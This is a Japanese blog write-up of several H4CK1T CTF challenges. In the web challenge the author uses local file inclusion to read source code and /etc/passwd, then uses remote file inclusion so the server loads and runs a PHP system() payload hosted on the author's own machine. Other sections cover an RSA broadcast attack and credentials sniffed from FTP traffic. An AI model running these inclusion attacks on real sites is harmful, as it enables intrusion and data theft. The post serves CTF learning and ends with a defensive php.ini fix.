jtwp470’s blog

日記とかプヨグヤミングとか

H4CK1T CTF Writeup

こんにちは.たんごです.久々にCTFのWriteupを書きます.

H4CK1T CTF Onlineにチームg0tiu5aで参加していました.Web問を解いたのでそれのWriteupを載せておきます.

Remote pentest - Mexico - 150 - Web

Our foreign partners have some problems with qualified staff in the field of information technology, we decided to help them and to conduct remote testing of their new website. Your task is to find a hole in the system and grab some information to confirm the hack .Good luck ! http://91.231.84.36:9150/

とりあえず問題のページにアクセスしてみます.

f:id:jtwp470:20160924215228p:plain

aboutとかは以下のようになっています.

f:id:jtwp470:20160924215625p:plain

以下その他同様.調査したところ ?page= で他のページを読み込んでいるのでは?と推測しました.そこでこんなときはPHPのfilterとか使ってソースコードを抜いてみます.

http://91.231.84.36:9150/index.php?page=php://filter/convert.base64-encode/resource=index

するとビンゴ. index.phpを抜くことができました.

<?php
    if ($_GET["page"]) {
    $file = $_GET["page"].".php";
    // simulate null byte issue
    $file = preg_replace('/\x00.*/',"",$file);
        include($file);
    } 
    else
    {
        echo '    <div class="container">
        <div class="row">
            <div class="col-md-6 col-sm-12">
                <h1>The Big Picture</h1>
...

あからさまにディレクトリトラバーサル脆弱性がありますね.そこで ?page=/etc/passwd%00とかをすると /etc/passwdの中身が抜けました.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false
rail:x:1000:1000::/home/rail:/bin/bash

しかしここから何をすればよいか悩みました.aboutやserviceなど思い当たる節のあるコードを全部抜いてみてもFlagはありません.ディレクトリトラバーサルだけではファイル名などがわからないため, 手詰まりしました.数時間悩んだあと Googlephp include vulnerabilityとかで検索してみると

Exploiting PHP File Inclusion – Overview | Reiners' Weblog

というようなページが見つかります.どうやらリモートにあるファイルのコードをPHPは実行できてしまうみたいです.そこで以下のようなファイルを用意します.

<?php system('ls -la');

これをtest.txtとかに保存し自分の管理しているサーバーに適当に置きます. 次に ?page=http://<remote addr>/test.txt%00 にアクセスすると

total 116
drwxr-xr-x 5 root root  4096 Sep 23 22:31 .
drwxr-xr-x 3 root root  4096 Sep 24 06:14 ..
-rw-r--r-- 1 root root   133 Sep 23 22:31 .htaccess
-rw-r--r-- 1 root root   817 Sep 23 21:03 .htaccess_kab
-rw-r--r-- 1 root root  2631 Sep 23 13:26 about.php
-rw-r--r-- 1 root root  2620 Sep 23 13:25 contact.php
drwxr-xr-x 2 root root  4096 Sep 23 14:03 css
drwxr-xr-x 2 root root  4096 Sep 23 14:03 fonts
-rw-r--r-- 1 root root  2879 Sep 23 13:25 index.php
drwxr-xr-x 2 root root  4096 Sep 23 14:03 js
-rw-r--r-- 1 root root 67549 Sep 19 16:44 php.ini
-rw-r--r-- 1 root root  2611 Sep 23 13:25 services.php
-rw-r--r-- 1 root root    30 Sep 19 17:22 sup3r_$3cr3t_f1le.php
-rw-r--r-- 1 root root    30 Sep 19 17:22 sup3r_$3cr3t_f1le.php

というような表示が出ました.あとは一番最後の怪しいファイル名にアクセスします.

http://91.231.84.36:9150/sup3r_$3cr3t_f1le.php

これでフラグが得られます.

Flag: h4ck1t{g00d_rfi_its_y0ur_fl@g}

この脆弱性を防ぐには?

そもそも$_GET['page']でページを切り替えるようなこと自体問題なような気もしますがこのような脆弱性を防ぐためには php.ini を書き換える必要があります.

allow_url_fopen=Off 
allow_url_include=Off

大抵デフォルトでこの設定になっているのでお外から読み込むことはできませんが...

capture_Paraguay - Hex0gator - 250 - PPC

PPC問です. 概要だけいうと適当に固められたファイルが有りそれらを100回解凍しつづけると最後にflagが出てきます.どっかで見たことのある問題形式ですね. これで250点(さっきのWeb問より配点が高い)という時点で得点配分がおかしい気がしますし, 100回なら手打ちで何とかなりそうですがPythonスクリプトを書きましいた.結局のところ以下の3つしか出てきません.

  • tar.gz
  • rar
  • zip

更に解凍すると work_folderというディレクトリができ, その中にファイルが1つ生まれます.

書いたスクリプト:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import shlex
import sys
import subprocess
import os
import os.path


def shell(cmd):
    p = subprocess.Popen(shlex.split(cmd),
                         stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    stdout, stderr = p.communicate()
    return (stdout.decode("utf-8"), stderr.decode("utf-8"))


def extract(f):
    file_type, err = shell("file %s" % f)
    if "Zip" in file_type:
        cmd = "unzip %s" % f
    elif "RAR" in file_type:
        cmd = "unrar x %s" % f
    elif "gzip" in file_type:
        cmd = "tar xvzof %s" % f
    else:
        sys.exit("Unknown file type: " % file_type)

    print(cmd)
    stdout, stderr = shell(cmd)
    if os.path.exists("work_folder"):
        return os.listdir("work_folder")[0]
    else:
        return False


def move(f):
    os.rename(os.path.join("work_folder", f), f)


if __name__ == "__main__":
    file = sys.argv[1]
    if os.path.exists("work_folder"):
        os.rmdir("work_folder")

    while True:
        f = extract(file)
        if f:
            move(f)
        file = f

実行:

$ python solver.py 100_00edb54bed7e46bd5cdb7c06059881c2
unzip 100_00edb54bed7e46bd5cdb7c06059881c2
unzip 99
unrar x 98
unrar x 97
unrar x 96
unrar x 95
...
...

...
...
unrar x 3
tar xvzof 2
tar xvzof 1
Traceback (most recent call last):
  File "solver.py", line 46, in <module>
    f = extract(file)
  File "solver.py", line 26, in extract
    sys.exit("Unknown file type: " % file_type)
TypeError: not all arguments converted during string formatting

(最後がエラーなのは勘弁してw)

これでflagが出る

Flag: h4ck1t{0W_MY_G0D_Y0U_M4D3_1T}

Crypt0P1xels - Algeria - 250 - Stego

from PIL import Image
import random

FLAG = '^__^'

img = Image.open('original.png')
img_pix = img.convert('RGB')

x = random.randint(1,255)
y = random.randint(1,255)

img_pix.putpixel((0,0),(len(FLAG),x,y))

for l in FLAG:
    x1 = random.randint(1,255)
    y1 = random.randint(1,255)
    img_pix.putpixel((x,y),(ord(l),x1,y1))
    x = x1
    y = y1

img_pix.save('encrypted.png')

このスクリプトでFlagを埋め込んだらしい.特に説明することもないのでこれ通りFlagを取り出すスクリプトを書く.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from PIL import Image


flag = ""

img = Image.open("encrypted.png")
img_pix = img.convert("RGB")

len, x, y = img_pix.getpixel((0, 0))

for i in range(len):
    f, x1, y1 = img_pix.getpixel((x, y))
    flag += chr(f)
    #print(flag)
    x, y = x1, y1


print("h4ck1t{%s}" % flag)

Flag: h4ck1t{1NF0RM$T10N_1$_N0T_$3CUR3_4NYM0R3}

RTFspy - China - Stego - 150

解凍すると不完全なRTFファイルが出てくる.調べてもよくわからなかったが中にどう考えても89 50 ...で始まっていることからPNGファイルだと思って当たりをつけた.その部分を抽出して画像を生成すると以下のような画像が生まれる.

f:id:jtwp470:20160926000915p:plain

この画像pngcheck等でみるとIENDのあとにも追加でデータがついているらしいので適当に抽出するとflag.txtが出てくる.

Flag: h4ck1t{rtf_d0cs_4r3_awesome}

p13c3 0f c4k3 - Argentina - Network- 100

pcapファイルが与えられます. Wiresharkで開いてFTPプロトコルの中身を覗くとパスワードがやり取りされているのを発見できます.

f:id:jtwp470:20160927181024p:plain Flag: h4ck1t{i_G07_ur_f1l3s}

7r0ubl3 - Greenland - Network - 200

ネットワーク問題2問目です. Wiresharkで開いてみると色々なやり取りをしていることがわかります.どこでフラグを送り合っているのかわかりません. こんなときはWiresharkの統計機能を用いてプロトコル階層を開いてみます. するとFTPでやり取りしているところが見つかりました.

f:id:jtwp470:20160928170746p:plain

あとはWiresharkのフィルターにftp-dataと入力しsecret.zipを抜きます.展開したsecret.txtは以下のような感じでした.あとはPythonで適当に文字列に直します.

68 34 63 6b 31 74 7b 73 30 5f 33 34 73 59 5f 46 6c 34 67 5f 68 75 68 7d

Flag: h4ck1t{s0_34sY_Fl4g_huh}

Interceptor - Portugal - 95 - Crypt0

Evil_Interceptor_Dump_v_1.12
{
    {
        E=3
        N=770208589881542620069464504676753940863383387375206105769618980879024439269509554947844785478530186900134626128158103023729084548188699148790609927825292033592633940440572111772824335381678715673885064259498347
        C=258166178649724503599487742934802526287669691117141193813325965154020153722514921601647187648221919500612597559946901707669147251080002815987547531468665467566717005154808254718275802205355468913739057891997227
    },
    {
        E=3
        N=106029085775257663206752546375038215862082305275547745288123714455124823687650121623933685907396184977471397594827179834728616028018749658416501123200018793097004318016219287128691152925005220998650615458757301
        C=82342298625679176036356883676775402119977430710726682485896193234656155980362739001985197966750770180888029807855818454089816725548543443170829318551678199285146042967925331334056196451472012024481821115035402
    },
    {
        E=3
        N=982308372262755389818559610780064346354778261071556063666893379698883592369924570665565343844555904810263378627630061263713965527697379617881447335759744375543004650980257156437858044538492769168139674955430611
        C=22930648200320670438709812150490964905599922007583385162042233495430878700029124482085825428033535726942144974904739350649202042807155611342972937745074828452371571955451553963306102347454278380033279926425450
    }
}

上のようなファイルが渡されます.e, n, cがあることからRSA暗号では?という予想を立てました.次にRSA暗号ならNを素因数分解できればp, qが求められ平文が得られるなと考えますが, Nは600ビット以上あり素因数分解するにしてもかなりの時間がかかるのではないか? と予想されます. そこでRSA脆弱性等を調べているとinaz2さんのブログに有効そうな攻撃法を見つけました.

inaz2.hatenablog.com

Håstad's Broadcast Attack 同一の平文mを異なる公開鍵nで暗号化した暗号文cをe個得られるとき、中国の剰余定理を用いてmを求めることができる。 同報通信あるいは同一平文の問題とも呼ばれる。

これをそのまま用いて実行してみると以下のような数が得られます.

0x6b65793d6266663134396130623837663562306530306439646433363465396464616130

あとはこれをASCII化してみます.

$ python -c 'import binascii; print(binascii.unhexlify("6b65793d6266663134396130623837663562306530306439646433363465396464616130").decode())'
key=bff149a0b87f5b0e00d9dd364e9ddaa0

Flag: h4ck1t{bff149a0b87f5b0e00d9dd364e9ddaa0}

HellMath - Mongolia - 100 - PPC

C = AB の形式であるのでAとBを求めよ.という問題です 単純に因数分解してA, Bの形になるように整形すればいいと思いました.そこでsageにあるfactor()を使って因数分解し, うまいこと調整するようなコードを書きました.

#!/usr/bin/env sage -python
# -*- coding: utf-8 -*-
import socket
import struct
import sys
import telnetlib
import logging
from sage.all import *


def sock(remoteip, remoteport):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((remoteip, remoteport))
    return s, s.makefile('rw', bufsize=0)


def recvuntil(f, delim='\n'):
    data = ''
    while not data.endswith(delim):
        data += f.read(1)
    return data


def shell(s):
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()


def factoring(ff):
    fl = list(factor(ff))
    if len(fl) == 1:
        return fl[0][0], fl[0][1]
    A, B = 1, fl[0][1]

    B = min([b for _, b in fl])

    for a, b in fl:
        A = A * (a**(b/B))
    return A, B


def main():
    if len(sys.argv) == 2:
        if sys.argv[1] == '-d':
            logging.basicConfig(level=logging.DEBUG)
    else:
        logging.basicConfig(level=logging.INFO)
    s, f = sock("ctf.com.ua", 9988)

    logging.info("[+] Connected to server")
    logging.debug(recvuntil(f, '?\n'))
    i = 1
    while True:
        recv_data = s.recv(4096)
        try:
            c = int(recv_data[recv_data.rfind("=") + 3:])
        except ValueError:
            print(recv_data)  # Flag
            sys.exit(0)

        logging.debug(c)
        A, B = factoring(c)
        ans = "%d %d" % (A, B)
        logging.info("%d:%s" % (i, ans))
        s.send(ans + "\n")
        i += 1


if __name__ == "__main__":
    # 968^418=(2^3 * 11^2)^418
    #ff = 1247094474231383294554124128974274939756386087161528291433810388042237686175064980987996972824045914787791320299438848954257287387099771935782025530661114642305910118355152466252028786913790908624490573752635575269776276765269020986943973083032713239156922381339024647408973557466806254263045837553681920779152757527332753739957841654898495480024758782984272202077028127065481148847220018274130810931172955702437640843947368908130076154683163947930705907958229372550843064747603729264290251231257014332433517325996099437677984266904414776452291176006204708809531189490388960841431578363489593190808608973232445359033700252860254934138468118864396577430481235876499585432439847253924408815299365225423434001263771407673018289686352451814570333942567256265832896734178178213522694266168364038671157293015283661243107187568796672234662290517673769491445467914007789504574993491234368363870132205634421950046427936881316226574156770397637795244965713448135533305789520675607032441578815793013700642361322261993795511203887520651032929927993702204493323845611748971672733736708917635209587169036657077121699588880706034796201752679702869190971984450123646501803255028028954850612141993662881570143311500926144739620990019574731923438079270854231247028224
    #print(factor(ff))
    #print(factoring(ff))
    main()

このスクリプトには正しい回答を得られない入力例があって, それはコメントアウトしているff.多分Bを求めているときに今のところ適当にminを求めているが最大公約数を求めるようにすればいいのかな?と思ったが面倒くさくてそこまでやってないw

うまく実行すると以下のような感じになってFlagが得られる.

$ ./HellMath.py -d
INFO:root:[+] Connected to server
DEBUG:root:Hello, stranger!

In this task you must solve 100 math questions.
Every task prints value C, where

C = A ^ B

, and you need to return A and B.

Simple, isn't it?

DEBUG:root:3602120978561265899079558732906334111474284447467663931086099803444060396006274633462685590544336760607062043207655465949321908033116321555497473533567084564386129345895655622510396281950441025419585281293200850987804918395260019463650462631013053750821403103789903183836707573119689745802881161983789791782448636008906490516348645416841044802764347283963683851614480040198386940592466213936852677956316547586277779707980970059784772142551592447412845428715740305671535075229210433952193247596349170828133300968980161003033685453045390635581004673476166694996246662811748786727883251767678424528758520838235158435332710493165291221316928663147836200004516065969546717389781173313307601377597081627783832225295126928505050648308292226893349572311422523991695860273048504193455458846013882056657396415338500074487640933830540607058988122707438633595223869326431256867797864317845893559278621507305865017613797981179600554176089115590656
INFO:root:1:716 327
...

INFO:root:98:471 812
DEBUG:root:162445900438200788543308189750414460282708052587387185907732275659729855525722681588209339741077245936964322762691337862310238950208426899812288791062231159367250607677703651524878583268369340905688397052377106328598912232934637565850455722469933096504541147441852845179242892926505935862146299984726815358305903637572527732300690442158058544079307547237282592555782862790270896114635520366057807980015272831540334526143488011924999281682303730658999139163689313645066876091151313476370958173356297255805698548467719019506379853313079452179356261047112417208266936747220983152165829118679243987125950915683406863585003373542617975750226440773326685652022550242971822372717801583296388596016191882892328186083691550419023010774344769822760136971013922949422228008466956533343066230609211602352834958043517403093161966582657966454443616729107369407700251678617229091888613473416151967049702128309187562333110774327988243531410315982651347510876443569109610318359927396862143210305112957909659993557410311797947879106202177198835837420796304612850885029708235042806175550598772074064621370457007644197037974042377374126042509393791170514364049846179986542182618439016023592746672935317497780200252232649521344895316250641
INFO:root:99:241 511
DEBUG:root:244488784110853611776707144376412626216867434189925014811643326345233313744237371497639868179423746422775339492026650740202886873229211386525089227049272040516566925077283501923804446592094785410323555210808462198069970020749779232155185481649545994150169810032075836177390176560849535777075868767708646909376523527247038663763684160726285648823279448757926290850104063946286294088645558895934554811627037391484679988580694668505973278974167802680128954719320914298995830096529621517393081390755996934374846566716015609994470409140404736967658699664858106347338277924626366394111044930261748379271488234148231905146950864830865739866132141399462524747368696560473237712456940949732477502846810944570272177158022668660538655148786485129772220686102137892259697590782787850437449757868645121681834466522578024801992438120187285888071658776762942412673676428004395129661365387315974589717294749106659414026485120826859354320349050673200354901153062463771198127339250643423212413540426746604351374491781078867567674141615734069545382573985008226267820977566243148403305620539941885865879613571230082764292822235493719707193559560519794825044189455179151831076873493568002631074994121369948001860850525329188630603460930912898080937963693904915616482253164771976018714630281400995185878795840351173457260429533320019019972625318386068354482038027012008411880620416064399983276541377018632826895358161566375494391944626507737167036416
INFO:root:100:246 597
h4ck1t{R4ND0M_1S_MY_F4V0UR1T3_W34P0N}

Flag: h4ck1t{R4ND0M_1S_MY_F4V0UR1T3_W34P0N}

この問題の良くないところは入力の仕方が書いていないところ. 結局チャット内を検索すると同じことを質問している人がいてそれで解決しました.

まとめ

このCTF, 個人的には何でこの問題がこんな点数なの?みたいなのがあったりしましたが一番最初のWeb問題で久々に勉強になったなと言う気持ちなので楽しいCTFでした.ただCTF期間中ずっとスコアサーバーが重くてやる気が失せるみたいなことも多くあったのできちんとスコアサーバーのインフラ周りもやってほしいなと思いました.

私は基本的にどの問題ジャンルも目を通すようにしているので今回のCTFは幅広く解くことができてよかったですが, 色々ガバガバなのはなんとかしてほしいです. あと, はてなブログの予約投稿を使っていたのですがこのCTFが時間延長になってしまい(スコアサーバーには載ってない?)このエントリをまだ終わっていないのに出してしまいました.関係各位申し訳ないです.